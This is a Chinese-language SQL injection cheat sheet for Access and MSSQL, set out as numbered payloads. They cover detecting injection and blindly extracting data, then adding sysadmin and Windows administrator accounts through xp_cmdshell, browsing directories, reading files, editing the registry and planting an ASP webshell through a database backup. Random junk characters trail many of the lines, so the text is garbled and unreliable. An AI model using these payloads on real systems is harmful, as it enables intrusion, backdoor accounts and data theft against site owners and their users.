1.判断是否有注入;and 1=1 ;and 1=2 ^`B##9g~
2.初步判断是否是mssql ;and user>0 d"e%tsj
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3.注入参数是字符'and [查询条件] and ''=' #xJGuYdv
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8 MACbLY
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5.判断数据库系统 m}'t'l4 c
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;and (select count(*) from msysobjects)>0 access \p=W4W/
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ky
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 z)?#UdBQv
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 X6"^:)&1M
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9.(1)猜字段的ascii值(access) (w@MlMk
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Osvz 3UMY3
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(2)猜字段的ascii值(mssql) PU/Br;2A
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ^5'/ }iR2N
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10.测试权限结构(mssql) O|7{%5h
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- bQ\ -6dOtv
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- q MT.7n:
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #SLxN AH
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- FsPDWy&x
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6L`+z
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \eSk7C
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;and 1=(select IS_MEMBER('db_owner'));-- }+RF~~H/
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11.添加mssql和系统的帐户 _I}L$
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;exec master.dbo.sp_addlogin username;-- r(2'0JQ
;exec master.dbo.sp_password null,username,password;-- :R*^Izs=
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- !7a^8
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;exec master.dbo.xp_cmdshell 'net user username password 6Cv2>'{S
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- E["t Ccg
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n#L2cv~Aj"
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12.(1)遍历目录 g l\$jDC9
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;create table dirs(paths varchar(100), id int) /$.vHt5nt
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ;gu>;_
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;and (select top 1 paths from dirs)>0 a4qpnr]0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) j[ZniD
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(2)遍历目录 wj5s5dH
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- qsRfG~Cg
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 "91Atb;hJ
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 LW
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 k@)m- K
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 y^|3]G3
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13.mssql中的存储过程 adr^6n6v
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xp_regenumvalues 注册表根键, 子键 h \cK
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 |
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xp_regread 根键,子键,键值名 dv}R]f'
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xdU
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xp_regwrite 根键,子键, 值名, 值类型, 值 5$Q`P',*Ua
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Y+yvv{01
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xp_regdeletevalue 根键,子键,值名 >#n-4NZ;p9
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 @z JZoJL]J
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 jy|xDQ
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14.mssql的backup创建webshell =0fx6V
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use model <l/Qf[V
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create table cmd(str image); >:nJTr
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insert into cmd(str) values (''); F9J9pgVP
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backup database model to disk='c:\l.asp'; ,lYU#Hx*
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15.mssql内置函数 "A`'~]/hE
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;and (select @@version)>0 获得Windows的版本号 uQ+$Hzx X
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa JN-8\L
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;and (select user_name())>0 爆当前系统的连接用户 \eN/fTPm
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;and (select db_name())>0 得到当前连接的数据库 Px&Mi:4tG
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16.简洁的webshell F>R)~;Ja
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use model :!FwF65
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create table cmd(str image); ,.F+x}
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insert into cmd(str) values (''); [+7X&B
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backup database model to disk='g:\wwwtest\l.asp';